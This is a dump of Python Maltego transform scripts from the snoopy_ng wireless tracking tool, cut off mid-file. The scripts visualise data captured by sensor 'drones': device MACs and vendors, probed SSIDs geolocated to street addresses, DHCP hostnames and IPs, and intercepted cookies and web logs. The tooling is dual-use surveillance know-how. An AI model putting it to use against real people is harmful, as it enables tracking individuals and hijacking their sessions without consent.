61 | NewEnt.addAdditionalFields("vendor","vendor", "nostrict", vendor)
62 | #NewEnt.addAdditionalFields("vendorLong","vendorLong", "nostrict", vendorLong)
63 | # ^ Going via a TDS crashes for resutls >1000. Weird?
64 |
65 | TRX.returnOutput()
66 |
67 | main()
68 |
--------------------------------------------------------------------------------
/transforms/fetchClientsWithData.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | # glenn@sensepost.com_
4 | # snoopy_ng // 2013
5 | # By using this code you agree to abide by the supplied LICENSE.txt
6 |
7 | import sys
8 | import os
9 | from MaltegoTransform import *
10 | import logging
11 | from datetime import datetime
12 | from sqlalchemy import create_engine, MetaData, select, and_
13 | from transformCommon import *
14 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
15 |
16 | def main():
17 | # print "Content-type: xml\n\n";
18 | # MaltegoXML_in = sys.stdin.read()
19 | # logging.debug(MaltegoXML_in)
20 | # if MaltegoXML_in <> '':
21 | # m = MaltegoMsg(MaltegoXML_in)
22 |
23 | #Custom query per transform, but apply filter with and_(*filters) from transformCommon.
24 | #db.echo=True
25 |
26 | #Need to implement outer join at some point:
27 | # s=select([cookies.c.client_mac]).outerjoin(vends, cookies.c.client_mac == vends.c.mac) #Outer join
28 |
29 | sl = select([leases.c.mac, leases.c.hostname]).distinct()
30 | lease_list = dict ( db.execute(sl).fetchall() )
31 |
32 | #filters.append(cookies.c.client_mac == vends.c.mac) # Replaced with JOIN
33 | j = cookies.outerjoin(vends, cookies.c.client_mac == vends.c.mac)
34 | s = select([cookies.c.client_mac,vends.c.vendor, vends.c.vendorLong], and_(*filters)).select_from(j).distinct()
35 | logging.debug(s)
36 | #s = select([cookies.c.client_mac,vends.c.vendor, vends.c.vendorLong], and_(*filters))
37 | if ssid:
38 | nfilters=[]
39 | nfilters.append(ssids.c.ssid == ssid)
40 | nfilters.append(ssids.c.mac == vends.c.mac)
41 | s = select([ssids.c.mac,vends.c.vendor, vends.c.vendorLong], and_(*nfilters))
42 |
43 | #logging.debug(s)
44 | #s = select([cookies.c.client_mac,vends.c.vendor, vends.c.vendorLong], and_(cookies.c.client_mac == vends.c.mac, cookies.c.num_probes>1 ) ).distinct()
45 |
46 | cwdF = [cookies.c.run_id == sess.c.run_id]
47 | cw = select([cookies.c.client_mac], and_(*cwdF))
48 | logging.debug(cw)
49 |
50 | r = db.execute(s)
51 | results = r.fetchall()
52 | TRX = MaltegoTransform()
53 | for mac,vendor,vendorLong in results:
54 | hostname = lease_list.get(mac)
55 |
56 | if hostname:
57 | NewEnt=TRX.addEntity("snoopy.Client", "%s\n(%s)" %(vendor,hostname))
58 | else:
59 | NewEnt=TRX.addEntity("snoopy.Client", "%s\n(%s)" %(vendor,mac[6:]))
60 | NewEnt.addAdditionalFields("mac","mac address", "strict",mac)
61 | NewEnt.addAdditionalFields("vendor","vendor", "nostrict", vendor)
62 | NewEnt.addAdditionalFields("vendorLong","vendorLong", "nostrict", vendorLong)
63 |
64 |
65 | TRX.returnOutput()
66 |
67 | main()
68 |
--------------------------------------------------------------------------------
/transforms/fetchCookies.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | # glenn@sensepost.com_
4 | # snoopy_ng // 2013
5 | # By using this code you agree to abide by the supplied LICENSE.txt
6 |
7 | import sys
8 | import os
9 | from MaltegoTransform import *
10 | import logging
11 | from datetime import datetime
12 | from sqlalchemy import create_engine, MetaData, select, and_
13 | from transformCommon import *
14 | from base64 import b64decode
15 | from xml.sax.saxutils import escape
16 | import re
17 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
18 |
19 | def main():
20 | # print "Content-type: xml\n\n";
21 | # MaltegoXML_in = sys.stdin.read()
22 | # logging.debug(MaltegoXML_in)
23 | # if MaltegoXML_in <> '':
24 | # m = MaltegoMsg(MaltegoXML_in)
25 |
26 | #Custom query per transform, but apply filter with and_(*filters) from transformCommon.
27 | filters = []
28 | #filters.extend((cookies.c.client_mac==mac, cookies.c.baseDomain==domain)) #Bug: baseDomain being returned as full URL.
29 | filters.extend((cookies.c.client_mac==mac, cookies.c.host==domain))
30 | s = select([cookies.c.name, cookies.c.value], and_(*filters))
31 | logging.debug(s)
32 | #s = select([ssids.c.ssid]).where(ssids.c.mac==mac).distinct()
33 | r = db.execute(s)
34 | results = r.fetchall()
35 | logging.debug(results)
36 | #results = [t[0] for t in results]
37 | TRX = MaltegoTransform()
38 |
39 | illegal_xml_re = re.compile(u'[\x00-\x08\x0b-\x1f\x7f-\x84\x86-\x9f\ud800-\udfff\ufdd0-\ufddf\ufffe-\uffff]')
40 |
41 |
42 | for cookie in results:
43 | logging.debug(cookie)
44 | name, value = cookie
45 | NewEnt=TRX.addEntity("snoopy.Cookie", name)
46 | NewEnt.addAdditionalFields("value","Value", "strict",value)
47 | NewEnt.addAdditionalFields("fqdn","Domain", "strict",domain)
48 | NewEnt.addAdditionalFields("mac","Client Mac", "strict",mac)
49 |
50 | TRX.returnOutput()
51 |
52 | main()
53 | #me = MaltegoTransform()
54 | #me.addEntity("maltego.Phrase","hello bob")
55 | #me.returnOutput()
56 |
--------------------------------------------------------------------------------
/transforms/fetchCountries.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | # glenn@sensepost.com_
4 | # snoopy_ng // 2013
5 | # By using this code you agree to abide by the supplied LICENSE.txt
6 |
7 | import sys
8 | import os
9 | from MaltegoTransform import *
10 | import logging
11 | from datetime import datetime
12 | from sqlalchemy import create_engine, MetaData, select, and_, func
13 | from transformCommon import *
14 | from base64 import b64decode
15 | from xml.sax.saxutils import escape
16 | import re
17 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
18 |
19 | def main():
20 |
21 | ## filters.append(wigle.c.ssid == ssid)
22 | ## filters.append(wigle.c.overflow == 0)
23 | ## s = select([wigle], and_(*filters)).distinct().limit(limit)
24 | #s = select([ssids.c.ssid]).where(ssids.c.mac==mac).distinct()
25 | ## r = db.execute(s)
26 | ## results = r.fetchall()
27 | ## logging.debug(results)
28 | ## TRX = MaltegoTransform()
29 | illegal_xml_re = re.compile(u'[\x00-\x08\x0b-\x1f\x7f-\x84\x86-\x9f\ud800-\udfff\ufdd0-\ufddf\ufffe-\uffff]')
30 |
31 |
32 | #location = "ITWeb_2013"
33 | filters = []
34 | filters.append(sess.c.location == location)
35 | filters.append(sess.c.run_id == ssids.c.run_id)
36 | filters.append(ssids.c.ssid == wigle.c.ssid)
37 | sub_q = select([wigle.c.country, func.count(wigle.c.country)], and_(*filters)).group_by(wigle.c.ssid).having(func.count()==1)
38 | s = select([sub_q.c.country,func.count(sub_q.c.country)], and_(sub_q.c.country != "")).group_by(sub_q.c.country)
39 |
40 | r = db.execute(s)
41 | results = r.fetchall()
42 |
43 | for res in results:
44 | country, count = res
45 | if count > 2:
46 | country = illegal_xml_re.sub('', country)
47 | NewEnt=TRX.addEntity("maltego.Location", country)
48 | NewEnt.addAdditionalFields("count", "count", "strict", str(count))
49 | NewEnt.setWeight(count)
50 |
51 | TRX.returnOutput()
52 |
53 | main()
54 |
--------------------------------------------------------------------------------
/transforms/fetchDefiniteAddresses.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | # glenn@sensepost.com_
4 | # snoopy_ng // 2013
5 | # By using this code you agree to abide by the supplied LICENSE.txt
6 |
7 | import sys
8 | import os
9 | from MaltegoTransform import *
10 | import logging
11 | from datetime import datetime
12 | from sqlalchemy import create_engine, MetaData, select, and_
13 | from transformCommon import *
14 | from base64 import b64decode
15 | from xml.sax.saxutils import escape
16 | import re
17 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
18 |
19 | limit = 100 # Limit the number of SSID addresses returned.
20 |
21 | def main():
22 | filters.append(wigle.c.ssid == ssid)
23 | filters.append(wigle.c.overflow == 0)
24 | s = select([wigle], and_(*filters)).distinct().limit(limit)
25 |
26 | #s = select([ssids.c.ssid]).where(ssids.c.mac==mac).distinct()
27 | r = db.execute(s)
28 | results = r.fetchall()
29 | logging.debug(results)
30 |
31 | TRX = MaltegoTransform()
32 |
33 | illegal_xml_re = re.compile(u'[\x00-\x08\x0b-\x1f\x7f-\x84\x86-\x9f\ud800-\udfff\ufdd0-\ufddf\ufffe-\uffff]')
34 |
35 |
36 | for address in results:
37 | if len(results) > 20:
38 | break
39 | #ssid = b64decode(ssid)
40 | #ssid=escape(ssid)
41 | #ssid = illegal_xml_re.sub('', ssid)
42 | logging.debug(type(address))
43 |
44 | street_view_url1 = "http://maps.googleapis.com/maps/api/streetview?size=800x800&sensor=false&location=%s,%s" % (str(address['lat']),str(address['long']))
45 | street_view_url2 = "https://maps.google.com/maps?q=&layer=c&cbp=11,0,0,0,0&cbll=%s,%s " % (str(address['lat']),str(address['long']))
46 | map_url = "http://maps.google.com/maps?t=h&q=%s,%s"%(str(address['lat']),str(address['long']))
47 | flag_img = "http://www.geognos.com/api/en/countries/flag/%s.png" % str(address['code']).upper()
48 |
49 | #NewEnt=TRX.addEntity("maltego.Location", address['shortaddress'].encode('utf-8'))
50 | NewEnt=TRX.addEntity("snoopy.ssidLocation", address['shortaddress'].encode('utf-8'))
51 | NewEnt.addAdditionalFields("city","city", "strict", address['city'].encode('utf-8'))
52 | NewEnt.addAdditionalFields("countrycode","countrycode", "strict", address['code'].encode('utf-8'))
53 | NewEnt.addAdditionalFields("country","country", "strict", address['country'].encode('utf-8'))
54 | NewEnt.addAdditionalFields("lat","lat", "strict", str(address['lat']))
55 | NewEnt.addAdditionalFields("long","long", "strict", str(address['long']))
56 | NewEnt.addAdditionalFields("longaddress","longaddress", "strict", address['longaddress'].encode('utf-8'))
57 | NewEnt.addAdditionalFields("location.areacode","Area Code", "strict", address['postcode'])
58 | NewEnt.addAdditionalFields("road","Road", "strict", address['road'].encode('utf-8'))
59 | NewEnt.addAdditionalFields("streetaddress","streetaddress", "strict", address['shortaddress'].encode('utf-8'))
60 | NewEnt.addAdditionalFields("ssid","SSID", "strict", address['ssid'])
61 | NewEnt.addAdditionalFields("state","State", "strict", address['state'].encode('utf-8'))
62 | NewEnt.addAdditionalFields("area","Area", "strict", address['suburb'].encode('utf-8'))
63 |
64 | NewEnt.addAdditionalFields("googleMap", "Google map", "nostrict", map_url)
65 | NewEnt.addAdditionalFields("streetView", "Street View", "nostrict", street_view_url2)
66 |
67 | #NewEnt.setIconURL(flag_img)
68 | logging.debug(street_view_url1)
69 | NewEnt.setIconURL(street_view_url1)
70 |
71 |
72 | NewEnt.addDisplayInformation("Click for map " % street_view_url2, "Street view")
73 | NewEnt.addDisplayInformation("one","two")
74 |
75 | #try:
76 | TRX.returnOutput()
77 | #except Exception,e:
78 | # print "RARRRR"
79 | # print e
80 | # print address
81 | # exit
82 | main()
83 | #me = MaltegoTransform()
84 | #me.addEntity("maltego.Phrase","hello bob")
85 | #me.returnOutput()
86 |
--------------------------------------------------------------------------------
/transforms/fetchDomains.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | # glenn@sensepost.com_
4 | # snoopy_ng // 2013
5 | # By using this code you agree to abide by the supplied LICENSE.txt
6 |
7 | import sys
8 | import os
9 | from MaltegoTransform import *
10 | import logging
11 | from datetime import datetime
12 | from sqlalchemy import create_engine, MetaData, select, and_
13 | from transformCommon import *
14 | from base64 import b64decode
15 | from xml.sax.saxutils import escape
16 | import re
17 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
18 |
19 | def main():
20 | # print "Content-type: xml\n\n";
21 | # MaltegoXML_in = sys.stdin.read()
22 | # logging.debug(MaltegoXML_in)
23 | # if MaltegoXML_in <> '':
24 | # m = MaltegoMsg(MaltegoXML_in)
25 |
26 | #Custom query per transform, but apply filter with and_(*filters) from transformCommon.
27 | filters = []
28 | filters.append(cookies.c.client_mac==mac)
29 | #s = select([cookies.c.baseDomain], and_(*filters)) #Bug: baseDomain being returned as full URL.
30 | s = select([cookies.c.host], and_(*filters))
31 | logging.debug(s)
32 | logging.debug(mac)
33 | #s = select([ssids.c.ssid]).where(ssids.c.mac==mac).distinct()
34 | r = db.execute(s)
35 | results = r.fetchall()
36 | results = [t[0] for t in results]
37 | TRX = MaltegoTransform()
38 |
39 | illegal_xml_re = re.compile(u'[\x00-\x08\x0b-\x1f\x7f-\x84\x86-\x9f\ud800-\udfff\ufdd0-\ufddf\ufffe-\uffff]')
40 |
41 |
42 | for domain in results:
43 | domain = illegal_xml_re.sub('', domain)
44 | NewEnt=TRX.addEntity("maltego.Domain", domain)
45 | NewEnt.addAdditionalFields("fqdn","Domain", "strict",domain)
46 | NewEnt.addAdditionalFields("mac","Client Mac", "strict",mac)
47 |
48 | TRX.returnOutput()
49 |
50 | main()
51 | #me = MaltegoTransform()
52 | #me.addEntity("maltego.Phrase","hello bob")
53 | #me.returnOutput()
54 |
--------------------------------------------------------------------------------
/transforms/fetchDrones.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | # glenn@sensepost.com
4 | # snoopy_ng // 2013
5 | # By using this code you agree to abide by the supplied LICENSE.txt
6 |
7 | import sys
8 | import os
9 | from MaltegoTransform import *
10 | import logging
11 | from datetime import datetime
12 | from sqlalchemy import create_engine, MetaData, select, and_
13 | from transformCommon import *
14 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
15 |
16 | def main():
17 | # print "Content-type: xml\n\n";
18 | # MaltegoXML_in = sys.stdin.read()
19 | # logging.debug(MaltegoXML_in)
20 | # if MaltegoXML_in <> '':
21 | # m = MaltegoMsg(MaltegoXML_in)
22 |
23 | #Custom query per transform, but apply filter with and_(*filters) from transformCommon.
24 | # s = select([proxs.c.drone], and_(*filters)).distinct()
25 | s = select([sess.c.drone], and_(*filters)).distinct()
26 | logging.debug(filters)
27 | logging.debug(s)
28 | r = db.execute(s)
29 | results = r.fetchall()
30 | results = [t[0] for t in results]
31 | TRX = MaltegoTransform()
32 |
33 | for drone in results:
34 | logging.debug(drone)
35 | NewEnt=TRX.addEntity("snoopy.Drone", drone)
36 | NewEnt.addAdditionalFields("properties.drone","drone", "strict",drone)
37 | NewEnt.addAdditionalFields("start_time", "start_time", "strict", start_time)
38 | NewEnt.addAdditionalFields("end_time", "end_time", "strict", end_time)
39 | #NewEnt.addAdditionalFields("drone", "drone", "strict", drone)
40 | #NewEnt.addAdditionalFields("location", "location", "strict", location)
41 | TRX.returnOutput()
42 |
43 | main()
44 |
--------------------------------------------------------------------------------
/transforms/fetchIP.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | # dominic@sensepost.com
4 | # snoopy_ng // 2014
5 | # By using this code you agree to abide by the supplied LICENSE.txt
6 |
7 | import sys
8 | import os
9 | from MaltegoTransform import *
10 | import logging
11 | from datetime import datetime
12 | from sqlalchemy import create_engine, MetaData, select, and_
13 | from transformCommon import *
14 | from base64 import b64decode
15 | from xml.sax.saxutils import escape
16 | import re
17 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
18 |
19 | def main():
20 | # print "Content-type: xml\n\n";
21 | # MaltegoXML_in = sys.stdin.read()
22 | # logging.debug(MaltegoXML_in)
23 | # if MaltegoXML_in <> '':
24 | # m = MaltegoMsg(MaltegoXML_in)
25 |
26 | #Custom query per transform, but apply filter with and_(*filters) from transformCommon.
27 | filters = []
28 | mac2 = ""
29 | for x in xrange(0,11,2):
30 | mac2 += mac[x]+mac[x+1]
31 | if x < 10:
32 | mac2 += ":"
33 | filters.append(leases.c.mac==mac2)
34 | s = select([leases.c.ip], and_(*filters))
35 | logging.debug(s)
36 | logging.debug(mac2)
37 | #s = select([ssids.c.ssid]).where(ssids.c.mac==mac).distinct()
38 | r = db.execute(s)
39 | results = r.fetchall()
40 | results = [t[0] for t in results]
41 | TRX = MaltegoTransform()
42 |
43 | illegal_xml_re = re.compile(u'[\x00-\x08\x0b-\x1f\x7f-\x84\x86-\x9f\ud800-\udfff\ufdd0-\ufddf\ufffe-\uffff]')
44 |
45 |
46 | for ip in results:
47 | NewEnt=TRX.addEntity("maltego.IPv4Address", ip)
48 | NewEnt.addAdditionalFields("mac","Client Mac", "strict",mac)
49 | NewEnt.addAdditionalFields("ip","Client IP", "strict",ip)
50 |
51 | TRX.returnOutput()
52 |
53 | main()
54 | #me = MaltegoTransform()
55 | #me.addEntity("maltego.Phrase","hello bob")
56 | #me.returnOutput()
57 |
--------------------------------------------------------------------------------
/transforms/fetchLocations.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | # glenn@sensepost.com_
4 | # snoopy_ng // 2013
5 | # By using this code you agree to abide by the supplied LICENSE.txt
6 |
7 | import sys
8 | import os
9 | from MaltegoTransform import *
10 | import logging
11 | from datetime import datetime
12 | from sqlalchemy import create_engine, MetaData, select, and_
13 | from transformCommon import *
14 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
15 |
16 | def main():
17 | # print "Content-type: xml\n\n";
18 | # MaltegoXML_in = sys.stdin.read()
19 | # logging.debug(MaltegoXML_in)
20 | # if MaltegoXML_in <> '':
21 | # m = MaltegoMsg(MaltegoXML_in)
22 |
23 |
24 | # Get GPS positions during this session
25 | ft = [ (gps.c.run_id == sess.c.run_id), (gps.c.systemTime >= sess.c.start), (gps.c.systemTime <= sess.c.end ) ]
26 | sg = select([gps.c.lat, gps.c.lon], and_(*ft))
27 | gps_c = db.execute(sg).fetchall()
28 |
29 | if gps_c:
30 | firstGPS,lastGPS = (gps_c[0][0], gps_c[0][1]), (gps_c[-1][0], gps_c[-1][1])
31 | latVariance = abs(sorted(gps_c)[0][0]-sorted(gps_c)[-1][0])
32 | lonVariance = abs(sorted(gps_c)[0][1]-sorted(gps_c)[-1][1])
33 |
34 | s = select([sess.c.location], and_(*filters)).distinct()
35 | r = db.execute(s)
36 | results = r.fetchall()
37 |
38 | for location in results:
39 | location = location[0]
40 | logging.debug(location)
41 | NewEnt=TRX.addEntity("snoopy.DroneLocation", location)
42 | #NewEnt.addAdditionalFields("location","location", "strict", location)
43 | NewEnt.addAdditionalFields("drone","drone", "strict", drone)
44 | NewEnt.addAdditionalFields("start_time", "start_time", "strict", start_time)
45 | NewEnt.addAdditionalFields("end_time", "end_time", "strict", end_time)
46 | if gps_c:
47 | NewEnt.addAdditionalFields("start_gps", "start_gps", "strict", str(firstGPS))
48 | NewEnt.addAdditionalFields("end_gps", "end_gps", "strict", str(lastGPS))
49 | NewEnt.addAdditionalFields("var_gps", "var_gps", "strict", str(latVariance+lonVariance))
50 |
51 | TRX.returnOutput()
52 |
53 | main()
54 |
--------------------------------------------------------------------------------
/transforms/fetchLogs.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | # dominic@sensepost.com
4 | # snoopy_ng // 2014
5 | # By using this code you agree to abide by the supplied LICENSE.txt
6 |
7 | import sys
8 | import os
9 | from MaltegoTransform import *
10 | import logging
11 | from datetime import datetime
12 | from sqlalchemy import create_engine, MetaData, select, and_
13 | from transformCommon import *
14 | from base64 import b64decode
15 | from xml.sax.saxutils import escape
16 | import re
17 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
18 |
19 | def main():
20 | # print "Content-type: xml\n\n";
21 | # MaltegoXML_in = sys.stdin.read()
22 | # logging.debug(MaltegoXML_in)
23 | # if MaltegoXML_in <> '':
24 | # m = MaltegoMsg(MaltegoXML_in)
25 |
26 | #Custom query per transform, but apply filter with and_(*filters) from transformCommon.
27 | filters = []
28 | filters.append(weblogs.c.client_ip==ip)
29 | s = select([weblogs.c.host, weblogs.c.path, weblogs.c.cookies], and_(*filters))
30 | logging.debug(s)
31 | #s = select([ssids.c.ssid]).where(ssids.c.mac==mac).distinct()
32 | r = db.execute(s)
33 | results = r.fetchall()
34 | logging.debug(results)
35 | #results = [t[0] for t in results]
36 | TRX = MaltegoTransform()
37 |
38 | illegal_xml_re = re.compile(u'[\x00-\x08\x0b-\x1f\x7f-\x84\x86-\x9f\ud800-\udfff\ufdd0-\ufddf\ufffe-\uffff]')
39 |
40 |
41 | for res in results:
42 | #logging.debug(res)
43 | host, path, cookies = res
44 | logging.debug(host)
45 | #logging.debug(path)
46 | logging.debug(cookies)
47 | if len(cookies) > 2:
48 | foo = cookies.split(", ")
49 | for cookie in foo:
50 | name, value = cookie.split(": ")
51 | name = name.split('"')[1]
52 | value = value.split('"')[1]
53 | logging.debug(name)
54 | logging.debug(value)
55 | NewEnt=TRX.addEntity("snoopy.Cookie", name)
56 | NewEnt.addAdditionalFields("value","Value", "strict",value)
57 | NewEnt.addAdditionalFields("fqdn","Domain", "strict",host)
58 | #NewEnt.addAdditionalFields("path","Path", "strict",path)
59 | NewEnt.addAdditionalFields("ip","Client IP", "strict",ip)
60 |
61 | TRX.returnOutput()
62 |
63 | main()
64 | #me = MaltegoTransform()
65 | #me.addEntity("maltego.Phrase","hello bob")
66 | #me.returnOutput()
67 |
--------------------------------------------------------------------------------
/transforms/fetchManufacturers.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | # glenn@sensepost.com_
4 | # snoopy_ng // 2013
5 | # By using this code you agree to abide by the supplied LICENSE.txt
6 |
7 | import sys
8 | import os
9 | from MaltegoTransform import *
10 | import logging
11 | from datetime import datetime
12 | from sqlalchemy import create_engine, MetaData, select, and_, func
13 | from transformCommon import *
14 | from base64 import b64decode
15 | from xml.sax.saxutils import escape
16 | import re
17 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
18 |
19 | def main():
20 |
21 | illegal_xml_re = re.compile(u'[\x00-\x08\x0b-\x1f\x7f-\x84\x86-\x9f\ud800-\udfff\ufdd0-\ufddf\ufffe-\uffff]')
22 |
23 | filters = []
24 | filters.append(sess.c.location == location)
25 | filters.append(sess.c.run_id == vends.c.run_id)
26 | #filters.append(ssids.c.ssid == wigle.c.ssid)
27 | s = select([vends.c.vendor,vends.c.vendorLong, func.count(vends.c.vendor)], and_(*filters)).group_by(vends.c.vendor)
28 |
29 | r = db.execute(s)
30 | results = r.fetchall()
31 |
32 | for res in results:
33 | vendor, vendorLong, count = res
34 | if count > 2:
35 | vendor = illegal_xml_re.sub('', vendor)
36 | NewEnt=TRX.addEntity("snoopy.Client", vendor)
37 | NewEnt.addAdditionalFields("vendor", "vendor", "strict", vendor)
38 | NewEnt.addAdditionalFields("vendorLong", "vendorLong", "strict", vendorLong)
39 | NewEnt.addAdditionalFields("count", "count", "strict", str(count))
40 | NewEnt.setWeight(count)
41 |
42 | TRX.returnOutput()
43 |
44 | main()
45 |
--------------------------------------------------------------------------------
/transforms/fetchNearbySSIDs.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | # glenn@sensepost.com_
4 | # snoopy_ng // 2013
5 | # By using this code you agree to abide by the supplied LICENSE.txt
6 |
7 | import sys
8 | import os
9 | from MaltegoTransform import *
10 | import logging
11 | from datetime import datetime
12 | from sqlalchemy import create_engine, MetaData, select, and_
13 | from transformCommon import *
14 | from base64 import b64decode
15 | from xml.sax.saxutils import escape
16 | import re
17 | from wigle_api import Wigle
18 |
19 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
20 | illegal_xml_re = re.compile(u'[\x00-\x08\x0b-\x1f\x7f-\x84\x86-\x9f\ud800-\udfff\ufdd0-\ufddf\ufffe-\uffff]')
21 |
22 | def main():
23 | # print "Content-type: xml\n\n";
24 | # MaltegoXML_in = sys.stdin.read()
25 | # logging.debug(MaltegoXML_in)
26 | # if MaltegoXML_in <> '':
27 | # m = MaltegoMsg(MaltegoXML_in)
28 |
29 | TRX = MaltegoTransform()
30 | TRX.parseArguments(sys.argv)
31 | lat = float(TRX.getVar("latitude"))
32 | lng = float(TRX.getVar("longitude"))
33 | address = TRX.getVar("longaddress")
34 |
35 | logging.debug(lat)
36 | logging.debug(address)
37 |
38 | try:
39 | f = open("wigle_creds.txt", "r")
40 | user, passw, email,proxy = f.readline().strip().split(":")
41 | except Exception, e:
42 | print "ERROR: Unable to read Wigle user & pass, email (and optional proxy) from wigle_creds.txt"
43 | print e
44 | exit(-1)
45 | wig=Wigle(user, passw, email, proxy)
46 | if not wig.login():
47 | print "ERROR: Unable to login to Wigle with creds from wigle_creds.txt. Please check them."
48 | exit(-1)
49 | ssids = wig.fetchNearbySSIDs(lat=lat,lng=lng,address=address)
50 | if 'error' in ssids:
51 | print "ERROR: Unable to query Wigle. Perhaps your IP/user is shunned. Error was '%s'" % ssids
52 | exit(-1)
53 |
54 | for s,coords in ssids.iteritems():
55 | ssid=escape(s)
56 | ssid = illegal_xml_re.sub('', ssid)
57 | lat,lng,dist = coords
58 |
59 | NewEnt=TRX.addEntity("snoopy.SSID", ssid)
60 | NewEnt.addAdditionalFields("ssid","ssid", "strict",ssid)
61 | NewEnt.addAdditionalFields("lat","latitude", "strict",str(lat))
62 | NewEnt.addAdditionalFields("long","longitude", "strict",str(lng))
63 | NewEnt.setWeight(int((1.0/dist)*500))
64 | NewEnt.addAdditionalFields("dist","distance", "strict",str(dist))
65 |
66 | TRX.returnOutput()
67 |
68 | main()
69 |
--------------------------------------------------------------------------------
/transforms/fetchObservations.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | # glenn@sensepost.com_
4 | # snoopy_ng // 2013
5 | # By using this code you agree to abide by the supplied LICENSE.txt
6 |
7 | import sys
8 | import os
9 | from MaltegoTransform import *
10 | import logging
11 | from datetime import datetime
12 | from sqlalchemy import create_engine, MetaData, select, and_
13 | from transformCommon import *
14 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
15 |
16 | def main():
17 | # print "Content-type: xml\n\n";
18 | # MaltegoXML_in = sys.stdin.read()
19 | # logging.debug(MaltegoXML_in)
20 | # if MaltegoXML_in <> '':
21 | # m = MaltegoMsg(MaltegoXML_in)
22 |
23 | #Custom query per transform, but apply filter with and_(*filters) from transformCommon.
24 | #s = select([proxs.c.location, proxs.c.drone, proxs.c.first_obs, proxs.c.last_obs], and_(*filters))
25 |
26 | #ft = [ (gps.c.run_id == sess.c.run_id), (gps.c.systemTime >= sess.c.start), (gps.c.systemTime <= sess.c.end ) ]
27 |
28 | s = select([sess.c.location, sess.c.drone, proxs.c.first_obs, proxs.c.last_obs], and_(*filters))
29 | r = db.execute(s)
30 | results = r.fetchall()
31 |
32 | for r in results:
33 | location = r[0]
34 | drone = r[1]
35 | start_time = r[2].strftime("%Y-%m-%d %H:%M:%S.%f")
36 | end_time = r[3].strftime("%Y-%m-%d %H:%M:%S.%f")
37 |
38 | # Get GPS positions during the observation period of this session
39 | ft = [ (gps.c.run_id == sess.c.run_id), (gps.c.systemTime >= start_time), (gps.c.systemTime <= end_time ) ]
40 | sg = select([gps.c.lat, gps.c.lon], and_(*ft))
41 | gps_c = db.execute(sg).fetchall()
42 |
43 | if gps_c:
44 | firstGPS,lastGPS = (gps_c[0][0], gps_c[0][1]), (gps_c[-1][0], gps_c[-1][1])
45 | latVariance = abs(sorted(gps_c)[0][0]-sorted(gps_c)[-1][0])
46 | lonVariance = abs(sorted(gps_c)[0][1]-sorted(gps_c)[-1][1])
47 | logging.debug(firstGPS)
48 | logging.debug(type(firstGPS))
49 |
50 |
51 | td = (r[3] - r[2]).seconds
52 | if td == 0:
53 | td = 1
54 | hours, remainder = divmod(td, 3600)
55 | minutes, seconds = divmod(remainder, 60)
56 | duration = ""
57 | if hours > 0:
58 | duration += "%s hour" % hours
59 | if hours > 1:
60 | duration +='s'
61 | if minutes > 0:
62 | if duration != "":
63 | duration += ", "
64 | duration += "%s min" % minutes
65 | if minutes > 1:
66 | duration +='s'
67 | if seconds > 0:
68 | if duration != "":
69 | duration += ", "
70 | duration += "%s sec" % seconds
71 | if seconds > 1:
72 | duration +='s'
73 | observation = "Drone: %s\nLocation: %s\n(%s)" % (drone,location,duration)
74 |
75 | NewEnt=TRX.addEntity("snoopy.Observation", observation )
76 | #NewEnt=TRX.addEntity("snoopy.DroneLocation", location)
77 | NewEnt.addAdditionalFields("location","location", "strict", location)
78 | NewEnt.addAdditionalFields("drone","drone", "strict", drone)
